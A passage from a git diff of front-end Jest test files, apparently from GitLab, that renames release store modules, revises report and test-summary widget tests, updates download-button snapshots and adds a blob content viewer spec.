+ jest.fn().mockResolvedValueOnce({ data: { project: { release: null } } }),
+ ],
+ ]);
+
+ createComponent({ apolloProvider });
+ });
+
+ expectNoLoadingIndicator();
+ expectFlashWithMessage(EXPECTED_ERROR_MESSAGE);
+ expectNoReleaseBlock();
+ });
+
+ describe('when an error occurs while loading the release', () => {
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([
+ [oneReleaseQuery, jest.fn().mockRejectedValueOnce('An error occurred!')],
+ ]);
+
+ createComponent({ apolloProvider });
+ });
+
+ expectNoLoadingIndicator();
+ expectFlashWithMessage(EXPECTED_ERROR_MESSAGE);
+ expectNoReleaseBlock();
});
});
diff --git a/spec/frontend/releases/components/asset_links_form_spec.js b/spec/frontend/releases/components/asset_links_form_spec.js
index bbaa4e9dc94..460007e48ef 100644
--- a/spec/frontend/releases/components/asset_links_form_spec.js
+++ b/spec/frontend/releases/components/asset_links_form_spec.js
@@ -44,7 +44,7 @@ describe('Release edit component', () => {
const store = new Vuex.Store({
modules: {
- detail: {
+ editNew: {
namespaced: true,
actions,
state,
diff --git a/spec/frontend/releases/components/release_block_milestone_info_spec.js b/spec/frontend/releases/components/release_block_milestone_info_spec.js
index 47fe10af946..a2bf45c7861 100644
--- a/spec/frontend/releases/components/release_block_milestone_info_spec.js
+++ b/spec/frontend/releases/components/release_block_milestone_info_spec.js
@@ -199,7 +199,7 @@ describe('Release block milestone info', () => {
it('renders merge request stats', () => {
expect(trimText(mergeRequestsContainer().text())).toBe(
- 'Merge Requests 30 Open: 4 • Merged: 24 • Closed: 2',
+ 'Merge requests 30 Open: 4 • Merged: 24 • Closed: 2',
);
});
});
diff --git a/spec/frontend/releases/components/releases_pagination_graphql_spec.js b/spec/frontend/releases/components/releases_pagination_graphql_spec.js
index de80d82e93c..5b2dd4bc784 100644
--- a/spec/frontend/releases/components/releases_pagination_graphql_spec.js
+++ b/spec/frontend/releases/components/releases_pagination_graphql_spec.js
@@ -3,7 +3,7 @@ import Vuex from 'vuex';
import { historyPushState } from '~/lib/utils/common_utils';
import ReleasesPaginationGraphql from '~/releases/components/releases_pagination_graphql.vue';
import createStore from '~/releases/stores';
-import createListModule from '~/releases/stores/modules/list';
+import createIndexModule from '~/releases/stores/modules/index';
jest.mock('~/lib/utils/common_utils', () => ({
...jest.requireActual('~/lib/utils/common_utils'),
@@ -15,7 +15,7 @@ localVue.use(Vuex);
describe('~/releases/components/releases_pagination_graphql.vue', () => {
let wrapper;
- let listModule;
+ let indexModule;
const cursors = {
startCursor: 'startCursor',
@@ -25,16 +25,16 @@ describe('~/releases/components/releases_pagination_graphql.vue', () => {
const projectPath = 'my/project';
const createComponent = (pageInfo) => {
- listModule = createListModule({ projectPath });
+ indexModule = createIndexModule({ projectPath });
- listModule.state.graphQlPageInfo = pageInfo;
+ indexModule.state.graphQlPageInfo = pageInfo;
- listModule.actions.fetchReleases = jest.fn();
+ indexModule.actions.fetchReleases = jest.fn();
wrapper = mount(ReleasesPaginationGraphql, {
store: createStore({
modules: {
- list: listModule,
+ index: indexModule,
},
featureFlags: {},
}),
@@ -142,7 +142,7 @@ describe('~/releases/components/releases_pagination_graphql.vue', () => {
});
it('calls fetchReleases with the correct after cursor', () => {
- expect(listModule.actions.fetchReleases.mock.calls).toEqual([
+ expect(indexModule.actions.fetchReleases.mock.calls).toEqual([
[expect.anything(), { after: cursors.endCursor }],
]);
});
@@ -160,7 +160,7 @@ describe('~/releases/components/releases_pagination_graphql.vue', () => {
});
it('calls fetchReleases with the correct before cursor', () => {
- expect(listModule.actions.fetchReleases.mock.calls).toEqual([
+ expect(indexModule.actions.fetchReleases.mock.calls).toEqual([
[expect.anything(), { before: cursors.startCursor }],
]);
});
diff --git a/spec/frontend/releases/components/releases_pagination_rest_spec.js b/spec/frontend/releases/components/releases_pagination_rest_spec.js
index 6f2690f5322..7d45176967b 100644
--- a/spec/frontend/releases/components/releases_pagination_rest_spec.js
+++ b/spec/frontend/releases/components/releases_pagination_rest_spec.js
@@ -4,7 +4,7 @@ import Vuex from 'vuex';
import * as commonUtils from '~/lib/utils/common_utils';
import ReleasesPaginationRest from '~/releases/components/releases_pagination_rest.vue';
import createStore from '~/releases/stores';
-import createListModule from '~/releases/stores/modules/list';
+import createIndexModule from '~/releases/stores/modules/index';
commonUtils.historyPushState = jest.fn();
@@ -13,21 +13,21 @@ localVue.use(Vuex);
describe('~/releases/components/releases_pagination_rest.vue', () => {
let wrapper;
- let listModule;
+ let indexModule;
const projectId = 19;
const createComponent = (pageInfo) => {
- listModule = createListModule({ projectId });
+ indexModule = createIndexModule({ projectId });
- listModule.state.restPageInfo = pageInfo;
+ indexModule.state.restPageInfo = pageInfo;
- listModule.actions.fetchReleases = jest.fn();
+ indexModule.actions.fetchReleases = jest.fn();
wrapper = mount(ReleasesPaginationRest, {
store: createStore({
modules: {
- list: listModule,
+ index: indexModule,
},
featureFlags: {},
}),
@@ -58,7 +58,7 @@ describe('~/releases/components/releases_pagination_rest.vue', () => {
});
it('calls fetchReleases with the correct page', () => {
- expect(listModule.actions.fetchReleases.mock.calls).toEqual([
+ expect(indexModule.actions.fetchReleases.mock.calls).toEqual([
[expect.anything(), { page: newPage }],
]);
});
diff --git a/spec/frontend/releases/components/releases_sort_spec.js b/spec/frontend/releases/components/releases_sort_spec.js
index f17c6678592..b16f80b9c73 100644
--- a/spec/frontend/releases/components/releases_sort_spec.js
+++ b/spec/frontend/releases/components/releases_sort_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import ReleasesSort from '~/releases/components/releases_sort.vue';
import createStore from '~/releases/stores';
-import createListModule from '~/releases/stores/modules/list';
+import createIndexModule from '~/releases/stores/modules/index';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -11,15 +11,15 @@ localVue.use(Vuex);
describe('~/releases/components/releases_sort.vue', () => {
let wrapper;
let store;
- let listModule;
+ let indexModule;
const projectId = 8;
const createComponent = () => {
- listModule = createListModule({ projectId });
+ indexModule = createIndexModule({ projectId });
store = createStore({
modules: {
- list: listModule,
+ index: indexModule,
},
});
@@ -52,7 +52,7 @@ describe('~/releases/components/releases_sort.vue', () => {
it('on sort change set sorting in vuex and emit event', () => {
findReleasesSorting().vm.$emit('sortDirectionChange');
- expect(store.dispatch).toHaveBeenCalledWith('list/setSorting', { sort: 'asc' });
+ expect(store.dispatch).toHaveBeenCalledWith('index/setSorting', { sort: 'asc' });
expect(wrapper.emitted('sort:changed')).toBeTruthy();
});
@@ -60,7 +60,7 @@ describe('~/releases/components/releases_sort.vue', () => {
const item = findSortingItems().at(0);
const { orderBy } = wrapper.vm.sortOptions[0];
item.vm.$emit('click');
- expect(store.dispatch).toHaveBeenCalledWith('list/setSorting', { orderBy });
+ expect(store.dispatch).toHaveBeenCalledWith('index/setSorting', { orderBy });
expect(wrapper.emitted('sort:changed')).toBeTruthy();
});
});
diff --git a/spec/frontend/releases/components/tag_field_exsting_spec.js b/spec/frontend/releases/components/tag_field_exsting_spec.js
index cef7a0272a6..294538086b4 100644
--- a/spec/frontend/releases/components/tag_field_exsting_spec.js
+++ b/spec/frontend/releases/components/tag_field_exsting_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import TagFieldExisting from '~/releases/components/tag_field_existing.vue';
import createStore from '~/releases/stores';
-import createDetailModule from '~/releases/stores/modules/detail';
+import createEditNewModule from '~/releases/stores/modules/edit_new';
const TEST_TAG_NAME = 'test-tag-name';
@@ -27,13 +27,13 @@ describe('releases/components/tag_field_existing', () => {
beforeEach(() => {
store = createStore({
modules: {
- detail: createDetailModule({
+ editNew: createEditNewModule({
tagName: TEST_TAG_NAME,
}),
},
});
- store.state.detail.release = {
+ store.state.editNew.release = {
tagName: TEST_TAG_NAME,
};
});
diff --git a/spec/frontend/releases/components/tag_field_new_spec.js b/spec/frontend/releases/components/tag_field_new_spec.js
index 387217c2a8e..f1608ca31b4 100644
--- a/spec/frontend/releases/components/tag_field_new_spec.js
+++ b/spec/frontend/releases/components/tag_field_new_spec.js
@@ -3,7 +3,7 @@ import { mount, shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import TagFieldNew from '~/releases/components/tag_field_new.vue';
import createStore from '~/releases/stores';
-import createDetailModule from '~/releases/stores/modules/detail';
+import createEditNewModule from '~/releases/stores/modules/edit_new';
const TEST_TAG_NAME = 'test-tag-name';
const TEST_PROJECT_ID = '1234';
@@ -44,15 +44,15 @@ describe('releases/components/tag_field_new', () => {
beforeEach(() => {
store = createStore({
modules: {
- detail: createDetailModule({
+ editNew: createEditNewModule({
projectId: TEST_PROJECT_ID,
}),
},
});
- store.state.detail.createFrom = TEST_CREATE_FROM;
+ store.state.editNew.createFrom = TEST_CREATE_FROM;
- store.state.detail.release = {
+ store.state.editNew.release = {
tagName: TEST_TAG_NAME,
assets: {
links: [],
@@ -89,7 +89,7 @@ describe('releases/components/tag_field_new', () => {
});
it("updates the store's release.tagName property", () => {
- expect(store.state.detail.release.tagName).toBe(NONEXISTENT_TAG_NAME);
+ expect(store.state.editNew.release.tagName).toBe(NONEXISTENT_TAG_NAME);
});
it('hides the "Create from" field', () => {
@@ -107,7 +107,7 @@ describe('releases/components/tag_field_new', () => {
});
it("updates the store's release.tagName property", () => {
- expect(store.state.detail.release.tagName).toBe(updatedTagName);
+ expect(store.state.editNew.release.tagName).toBe(updatedTagName);
});
it('shows the "Create from" field', () => {
@@ -178,7 +178,7 @@ describe('releases/components/tag_field_new', () => {
await wrapper.vm.$nextTick();
- expect(store.state.detail.createFrom).toBe(updatedCreateFrom);
+ expect(store.state.editNew.createFrom).toBe(updatedCreateFrom);
});
});
});
diff --git a/spec/frontend/releases/components/tag_field_spec.js b/spec/frontend/releases/components/tag_field_spec.js
index 2cf5944f9e6..db08f874959 100644
--- a/spec/frontend/releases/components/tag_field_spec.js
+++ b/spec/frontend/releases/components/tag_field_spec.js
@@ -3,7 +3,7 @@ import TagField from '~/releases/components/tag_field.vue';
import TagFieldExisting from '~/releases/components/tag_field_existing.vue';
import TagFieldNew from '~/releases/components/tag_field_new.vue';
import createStore from '~/releases/stores';
-import createDetailModule from '~/releases/stores/modules/detail';
+import createEditNewModule from '~/releases/stores/modules/edit_new';
describe('releases/components/tag_field', () => {
let store;
@@ -12,11 +12,11 @@ describe('releases/components/tag_field', () => {
const createComponent = ({ tagName }) => {
store = createStore({
modules: {
- detail: createDetailModule({}),
+ editNew: createEditNewModule({}),
},
});
- store.state.detail.tagName = tagName;
+ store.state.editNew.tagName = tagName;
wrapper = shallowMount(TagField, { store });
};
diff --git a/spec/frontend/releases/stores/modules/detail/actions_spec.js b/spec/frontend/releases/stores/modules/detail/actions_spec.js
index 9c125fbb87b..b116d601ca4 100644
--- a/spec/frontend/releases/stores/modules/detail/actions_spec.js
+++ b/spec/frontend/releases/stores/modules/detail/actions_spec.js
@@ -9,9 +9,9 @@ import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import httpStatus from '~/lib/utils/http_status';
import { redirectTo } from '~/lib/utils/url_utility';
import { ASSET_LINK_TYPE } from '~/releases/constants';
-import * as actions from '~/releases/stores/modules/detail/actions';
-import * as types from '~/releases/stores/modules/detail/mutation_types';
-import createState from '~/releases/stores/modules/detail/state';
+import * as actions from '~/releases/stores/modules/edit_new/actions';
+import * as types from '~/releases/stores/modules/edit_new/mutation_types';
+import createState from '~/releases/stores/modules/edit_new/state';
import { releaseToApiJson, apiJsonToRelease } from '~/releases/util';
jest.mock('~/flash');
@@ -23,7 +23,7 @@ jest.mock('~/lib/utils/url_utility', () => ({
const originalRelease = getJSONFixture('api/releases/release.json');
-describe('Release detail actions', () => {
+describe('Release edit/new actions', () => {
let state;
let release;
let mock;
@@ -163,7 +163,7 @@ describe('Release detail actions', () => {
return actions.fetchRelease({ commit: jest.fn(), state, rootState: state }).then(() => {
expect(createFlash).toHaveBeenCalledTimes(1);
expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong while getting the release details',
+ 'Something went wrong while getting the release details.',
);
});
});
diff --git a/spec/frontend/releases/stores/modules/detail/getters_spec.js b/spec/frontend/releases/stores/modules/detail/getters_spec.js
index 2d9f35428f2..1449c064d77 100644
--- a/spec/frontend/releases/stores/modules/detail/getters_spec.js
+++ b/spec/frontend/releases/stores/modules/detail/getters_spec.js
@@ -1,6 +1,6 @@
-import * as getters from '~/releases/stores/modules/detail/getters';
+import * as getters from '~/releases/stores/modules/edit_new/getters';
-describe('Release detail getters', () => {
+describe('Release edit/new getters', () => {
describe('isExistingRelease', () => {
it('returns true if the release is an existing release that already exists in the database', () => {
const state = { tagName: 'test-tag-name' };
diff --git a/spec/frontend/releases/stores/modules/detail/mutations_spec.js b/spec/frontend/releases/stores/modules/detail/mutations_spec.js
index cdf26bfa834..20ae332e500 100644
--- a/spec/frontend/releases/stores/modules/detail/mutations_spec.js
+++ b/spec/frontend/releases/stores/modules/detail/mutations_spec.js
@@ -1,13 +1,13 @@
import { getJSONFixture } from 'helpers/fixtures';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { ASSET_LINK_TYPE, DEFAULT_ASSET_LINK_TYPE } from '~/releases/constants';
-import * as types from '~/releases/stores/modules/detail/mutation_types';
-import mutations from '~/releases/stores/modules/detail/mutations';
-import createState from '~/releases/stores/modules/detail/state';
+import * as types from '~/releases/stores/modules/edit_new/mutation_types';
+import mutations from '~/releases/stores/modules/edit_new/mutations';
+import createState from '~/releases/stores/modules/edit_new/state';
const originalRelease = getJSONFixture('api/releases/release.json');
-describe('Release detail mutations', () => {
+describe('Release edit/new mutations', () => {
let state;
let release;
diff --git a/spec/frontend/releases/stores/modules/list/actions_spec.js b/spec/frontend/releases/stores/modules/list/actions_spec.js
index 309f7387929..4dc996174bc 100644
--- a/spec/frontend/releases/stores/modules/list/actions_spec.js
+++ b/spec/frontend/releases/stores/modules/list/actions_spec.js
@@ -15,9 +15,9 @@ import {
fetchReleasesRest,
receiveReleasesError,
setSorting,
-} from '~/releases/stores/modules/list/actions';
-import * as types from '~/releases/stores/modules/list/mutation_types';
-import createState from '~/releases/stores/modules/list/state';
+} from '~/releases/stores/modules/index/actions';
+import * as types from '~/releases/stores/modules/index/mutation_types';
+import createState from '~/releases/stores/modules/index/state';
import { gqClient, convertAllReleasesGraphQLResponse } from '~/releases/util';
import { pageInfoHeadersWithoutPagination } from '../../../mock_data';
diff --git a/spec/frontend/releases/stores/modules/list/helpers.js b/spec/frontend/releases/stores/modules/list/helpers.js
index 3913eba31b8..6669f44aa95 100644
--- a/spec/frontend/releases/stores/modules/list/helpers.js
+++ b/spec/frontend/releases/stores/modules/list/helpers.js
@@ -1,4 +1,4 @@
-import state from '~/releases/stores/modules/list/state';
+import state from '~/releases/stores/modules/index/state';
export const resetStore = (store) => {
store.replaceState(state());
diff --git a/spec/frontend/releases/stores/modules/list/mutations_spec.js b/spec/frontend/releases/stores/modules/list/mutations_spec.js
index ea6a4ada16a..8b35ba5d7ac 100644
--- a/spec/frontend/releases/stores/modules/list/mutations_spec.js
+++ b/spec/frontend/releases/stores/modules/list/mutations_spec.js
@@ -1,8 +1,8 @@
import { getJSONFixture } from 'helpers/fixtures';
import { parseIntPagination, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import * as types from '~/releases/stores/modules/list/mutation_types';
-import mutations from '~/releases/stores/modules/list/mutations';
-import createState from '~/releases/stores/modules/list/state';
+import * as types from '~/releases/stores/modules/index/mutation_types';
+import mutations from '~/releases/stores/modules/index/mutations';
+import createState from '~/releases/stores/modules/index/state';
import { convertAllReleasesGraphQLResponse } from '~/releases/util';
import { pageInfoHeadersWithoutPagination } from '../../../mock_data';
diff --git a/spec/frontend/reports/components/report_section_spec.js b/spec/frontend/reports/components/report_section_spec.js
index c9bf3185f8f..e1b36aa1e21 100644
--- a/spec/frontend/reports/components/report_section_spec.js
+++ b/spec/frontend/reports/components/report_section_spec.js
@@ -1,12 +1,14 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import Vue from 'vue';
import mountComponent, { mountComponentWithSlots } from 'helpers/vue_mount_component_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import reportSection from '~/reports/components/report_section.vue';
describe('Report section', () => {
let vm;
let wrapper;
const ReportSection = Vue.extend(reportSection);
+ const findCollapseButton = () => wrapper.findByTestId('report-section-expand-button');
const resolvedIssues = [
{
@@ -30,12 +32,14 @@ describe('Report section', () => {
};
const createComponent = (props) => {
- wrapper = shallowMount(reportSection, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
+ wrapper = extendedWrapper(
+ mount(reportSection, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ }),
+ );
return wrapper;
};
@@ -182,7 +186,7 @@ describe('Report section', () => {
expect(wrapper.emitted().toggleEvent).toBeUndefined();
- wrapper.vm.$el.querySelector('button').click();
+ findCollapseButton().trigger('click');
return wrapper.vm
.$nextTick()
.then(() => {
@@ -197,7 +201,7 @@ describe('Report section', () => {
expect(wrapper.emitted().toggleEvent).toBeUndefined();
- wrapper.vm.$el.querySelector('button').click();
+ findCollapseButton().trigger('click');
return wrapper.vm
.$nextTick()
.then(() => {
diff --git a/spec/frontend/reports/grouped_test_report/components/modal_spec.js b/spec/frontend/reports/grouped_test_report/components/modal_spec.js
index 303009bab3a..3de81f754fd 100644
--- a/spec/frontend/reports/grouped_test_report/components/modal_spec.js
+++ b/spec/frontend/reports/grouped_test_report/components/modal_spec.js
@@ -15,7 +15,10 @@ describe('Grouped Test Reports Modal', () => {
// populate data
modalDataStructure.execution_time.value = 0.009411;
modalDataStructure.system_output.value = 'Failure/Error: is_expected.to eq(3)\n\n';
- modalDataStructure.class.value = 'link';
+ modalDataStructure.filename.value = {
+ text: 'link',
+ path: '/file/path',
+ };
let wrapper;
@@ -43,9 +46,9 @@ describe('Grouped Test Reports Modal', () => {
it('renders link', () => {
const link = wrapper.findComponent(GlLink);
- expect(link.attributes().href).toEqual(modalDataStructure.class.value);
+ expect(link.attributes().href).toEqual(modalDataStructure.filename.value.path);
- expect(link.text()).toEqual(modalDataStructure.class.value);
+ expect(link.text()).toEqual(modalDataStructure.filename.value.text);
});
it('renders seconds', () => {
diff --git a/spec/frontend/reports/grouped_test_report/components/test_issue_body_spec.js b/spec/frontend/reports/grouped_test_report/components/test_issue_body_spec.js
index e03a52aad8d..2f6f62ca1d3 100644
--- a/spec/frontend/reports/grouped_test_report/components/test_issue_body_spec.js
+++ b/spec/frontend/reports/grouped_test_report/components/test_issue_body_spec.js
@@ -52,7 +52,7 @@ describe('Test issue body', () => {
});
it('renders issue name', () => {
- expect(findDescription().text()).toBe(failedIssue.name);
+ expect(findDescription().text()).toContain(failedIssue.name);
});
it('renders failed status icon', () => {
diff --git a/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js b/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
index 49332157691..55bb7dbe5c0 100644
--- a/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
+++ b/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
@@ -1,6 +1,6 @@
import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
-import { mockTracking } from 'helpers/tracking_helper';
+import Api from '~/api';
import GroupedTestReportsApp from '~/reports/grouped_test_report/grouped_test_reports_app.vue';
import { getStoreConfig } from '~/reports/grouped_test_report/store';
@@ -12,24 +12,31 @@ import successTestReports from '../mock_data/no_failures_report.json';
import recentFailuresTestReports from '../mock_data/recent_failures_report.json';
import resolvedFailures from '../mock_data/resolved_failures.json';
+jest.mock('~/api.js');
+
const localVue = createLocalVue();
localVue.use(Vuex);
describe('Grouped test reports app', () => {
const endpoint = 'endpoint.json';
+ const headBlobPath = '/blob/path';
const pipelinePath = '/path/to/pipeline';
let wrapper;
let mockStore;
- const mountComponent = ({ props = { pipelinePath } } = {}) => {
+ const mountComponent = ({ props = { pipelinePath }, glFeatures = {} } = {}) => {
wrapper = mount(GroupedTestReportsApp, {
store: mockStore,
localVue,
propsData: {
endpoint,
+ headBlobPath,
pipelinePath,
...props,
},
+ provide: {
+ glFeatures,
+ },
});
};
@@ -56,7 +63,7 @@ describe('Grouped test reports app', () => {
...getStoreConfig(),
actions: {
fetchReports: () => {},
- setEndpoint: () => {},
+ setPaths: () => {},
},
});
mountComponent();
@@ -103,31 +110,33 @@ describe('Grouped test reports app', () => {
});
describe('`Expand` button', () => {
- let trackingSpy;
-
beforeEach(() => {
setReports(newFailedTestReports);
- mountComponent();
- document.body.dataset.page = 'projects:merge_requests:show';
- trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
});
- it('tracks an event on click', () => {
+ it('tracks usage ping metric when enabled', () => {
+ mountComponent({ glFeatures: { usageDataITestingSummaryWidgetTotal: true } });
findExpandButton().trigger('click');
- expect(trackingSpy).toHaveBeenCalledWith(undefined, 'expand_test_report_widget', {});
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(1);
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledWith(wrapper.vm.$options.expandEvent);
});
it('only tracks the first expansion', () => {
- expect(trackingSpy).not.toHaveBeenCalled();
+ mountComponent({ glFeatures: { usageDataITestingSummaryWidgetTotal: true } });
+ const expandButton = findExpandButton();
+ expandButton.trigger('click');
+ expandButton.trigger('click');
+ expandButton.trigger('click');
- const button = findExpandButton();
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(1);
+ });
- button.trigger('click');
- button.trigger('click');
- button.trigger('click');
+ it('does not track usage ping metric when disabled', () => {
+ mountComponent({ glFeatures: { usageDataITestingSummaryWidgetTotal: false } });
+ findExpandButton().trigger('click');
- expect(trackingSpy).toHaveBeenCalledTimes(1);
+ expect(Api.trackRedisHllUserEvent).not.toHaveBeenCalled();
});
});
diff --git a/spec/frontend/reports/grouped_test_report/store/actions_spec.js b/spec/frontend/reports/grouped_test_report/store/actions_spec.js
index 28633f7ba16..bbc3a5dbba5 100644
--- a/spec/frontend/reports/grouped_test_report/store/actions_spec.js
+++ b/spec/frontend/reports/grouped_test_report/store/actions_spec.js
@@ -3,7 +3,7 @@ import { TEST_HOST } from 'helpers/test_constants';
import testAction from 'helpers/vuex_action_helper';
import axios from '~/lib/utils/axios_utils';
import {
- setEndpoint,
+ setPaths,
requestReports,
fetchReports,
stopPolling,
@@ -23,13 +23,18 @@ describe('Reports Store Actions', () => {
mockedState = state();
});
- describe('setEndpoint', () => {
- it('should commit SET_ENDPOINT mutation', (done) => {
+ describe('setPaths', () => {
+ it('should commit SET_PATHS mutation', (done) => {
testAction(
- setEndpoint,
- 'endpoint.json',
+ setPaths,
+ { endpoint: 'endpoint.json', headBlobPath: '/blob/path' },
mockedState,
- [{ type: types.SET_ENDPOINT, payload: 'endpoint.json' }],
+ [
+ {
+ type: types.SET_PATHS,
+ payload: { endpoint: 'endpoint.json', headBlobPath: '/blob/path' },
+ },
+ ],
[],
done,
);
diff --git a/spec/frontend/reports/grouped_test_report/store/mutations_spec.js b/spec/frontend/reports/grouped_test_report/store/mutations_spec.js
index 60d5016a11b..d8642a9b440 100644
--- a/spec/frontend/reports/grouped_test_report/store/mutations_spec.js
+++ b/spec/frontend/reports/grouped_test_report/store/mutations_spec.js
@@ -10,11 +10,15 @@ describe('Reports Store Mutations', () => {
stateCopy = state();
});
- describe('SET_ENDPOINT', () => {
+ describe('SET_PATHS', () => {
it('should set endpoint', () => {
- mutations[types.SET_ENDPOINT](stateCopy, 'endpoint.json');
+ mutations[types.SET_PATHS](stateCopy, {
+ endpoint: 'endpoint.json',
+ headBlobPath: '/blob/path',
+ });
expect(stateCopy.endpoint).toEqual('endpoint.json');
+ expect(stateCopy.headBlobPath).toEqual('/blob/path');
});
});
diff --git a/spec/frontend/reports/grouped_test_report/store/utils_spec.js b/spec/frontend/reports/grouped_test_report/store/utils_spec.js
index 63320744796..760afe1c11a 100644
--- a/spec/frontend/reports/grouped_test_report/store/utils_spec.js
+++ b/spec/frontend/reports/grouped_test_report/store/utils_spec.js
@@ -238,4 +238,18 @@ describe('Reports store utils', () => {
});
});
});
+
+ describe('formatFilePath', () => {
+ it.each`
+ file | expected
+ ${'./test.js'} | ${'test.js'}
+ ${'/test.js'} | ${'test.js'}
+ ${'.//////////////test.js'} | ${'test.js'}
+ ${'test.js'} | ${'test.js'}
+ ${'mock/path./test.js'} | ${'mock/path./test.js'}
+ ${'./mock/path./test.js'} | ${'mock/path./test.js'}
+ `('should format $file to be $expected', ({ file, expected }) => {
+ expect(utils.formatFilePath(file)).toBe(expected);
+ });
+ });
});
diff --git a/spec/frontend/repository/components/__snapshots__/directory_download_links_spec.js.snap b/spec/frontend/repository/components/__snapshots__/directory_download_links_spec.js.snap
index 6968fb3e153..836ae5c22e6 100644
--- a/spec/frontend/repository/components/__snapshots__/directory_download_links_spec.js.snap
+++ b/spec/frontend/repository/components/__snapshots__/directory_download_links_spec.js.snap
@@ -16,22 +16,30 @@ exports[`Repository directory download links component renders downloads links f
<div
class="btn-group ml-0 w-100"
>
- <gl-link-stub
- class="btn btn-xs btn-primary"
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
href="http://test.com/?path=app"
+ icon=""
+ size="small"
+ variant="confirm"
>
zip
- </gl-link-stub>
- <gl-link-stub
- class="btn btn-xs"
+ </gl-button-stub>
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
href="http://test.com/?path=app"
+ icon=""
+ size="small"
+ variant="default"
>
tar
- </gl-link-stub>
+ </gl-button-stub>
</div>
</div>
</section>
@@ -53,22 +61,30 @@ exports[`Repository directory download links component renders downloads links f
<div
class="btn-group ml-0 w-100"
>
- <gl-link-stub
- class="btn btn-xs btn-primary"
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
href="http://test.com/?path=app/assets"
+ icon=""
+ size="small"
+ variant="confirm"
>
zip
- </gl-link-stub>
- <gl-link-stub
- class="btn btn-xs"
+ </gl-button-stub>
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
href="http://test.com/?path=app/assets"
+ icon=""
+ size="small"
+ variant="default"
>
tar
- </gl-link-stub>
+ </gl-button-stub>
</div>
</div>
</section>
diff --git a/spec/frontend/repository/components/blob_content_viewer_spec.js b/spec/frontend/repository/components/blob_content_viewer_spec.js
new file mode 100644
index 00000000000..b662a1d20a9
--- /dev/null
+++ b/spec/frontend/repository/components/blob_content_viewer_spec.js
@@ -0,0 +1,86 @@
+import { GlLoadingIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import BlobContent from '~/blob/components/blob_content.vue';
+import BlobHeader from '~/blob/components/blob_header.vue';
+import BlobContentViewer from '~/repository/components/blob_content_viewer.vue';
+
+let wrapper;
+const mockData = {
+ name: 'some_file.js',
+ size: 123,
+ rawBlob: 'raw content',
+ type: 'text',
+ fileType: 'text',
+ tooLarge: false,
+ path: 'some_file.js',
+ editBlobPath: 'some_file.js/edit',
+ ideEditPath: 'some_file.js/ide/edit',
+ storedExternally: false,
+ rawPath: 'some_file.js',
+ externalStorageUrl: 'some_file.js',
+ replacePath: 'some_file.js/replace',
+ deletePath: 'some_file.js/delete',
+ canLock: true,
+ isLocked: false,
+ lockLink: 'some_file.js/lock',
+ canModifyBlob: true,
+ forkPath: 'some_file.js/fork',
+ simpleViewer: {},
+ richViewer: {},
+};
+
+function factory(path, loading = false) {
+ wrapper = shallowMount(BlobContentViewer, {
+ propsData: {
+ path,
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ blobInfo: {
+ loading,
+ },
+ },
+ },
+ },
+ });
+
+ wrapper.setData({ blobInfo: mockData });
+}
+
+describe('Blob content viewer component', () => {
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findBlobHeader = () => wrapper.find(BlobHeader);
+ const findBlobContent = () => wrapper.find(BlobContent);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ beforeEach(() => {
+ factory('some_file.js');
+ });
+
+ it('renders a GlLoadingIcon component', () => {
+ factory('some_file.js', true);
+
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+
+ it('renders a BlobHeader component', () => {
+ expect(findBlobHeader().exists()).toBe(true);
+ });
+
+ it('renders a BlobContent component', () => {
+ expect(findBlobContent().exists()).toBe(true);
+
+ expect(findBlobContent().props('loading')).toEqual(false);
+ expect(findBlobContent().props('content')).toEqual('raw content');
+ expect(findBlobContent().props('isRawContent')).toBe(true);
+ expect(findBlobContent().props('activeViewer')).toEqual({
+ fileType: 'text',
+ tooLarge: false,
+ type: 'text',
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/breadcrumbs_spec.js b/spec/frontend/repository/components/breadcrumbs_spec.js
index 2ac2069a177..93bfd3d9d32 100644
--- a/spec/frontend/repository/components/breadcrumbs_spec.js
+++ b/spec/frontend/repository/components/breadcrumbs_spec.js
@@ -1,24 +1,36 @@
import { GlDropdown } from '@gitlab/ui';
import { shallowMount, RouterLinkStub } from '@vue/test-utils';
import Breadcrumbs from '~/repository/components/breadcrumbs.vue';
-
-let vm;
-
-function factory(currentPath, extraProps = {}) {
- vm = shallowMount(Breadcrumbs, {
- propsData: {
- currentPath,
- ...extraProps,
- },
- stubs: {
- RouterLink: RouterLinkStub,
- },
- });
-}
+import UploadBlobModal from '~/repository/components/upload_blob_modal.vue';
describe('Repository breadcrumbs component', () => {
+ let wrapper;
+
+ const factory = (currentPath, extraProps = {}) => {
+ const $apollo = {
+ queries: {
+ userPermissions: {
+ loading: true,
+ },
+ },
+ };
+
+ wrapper = shallowMount(Breadcrumbs, {
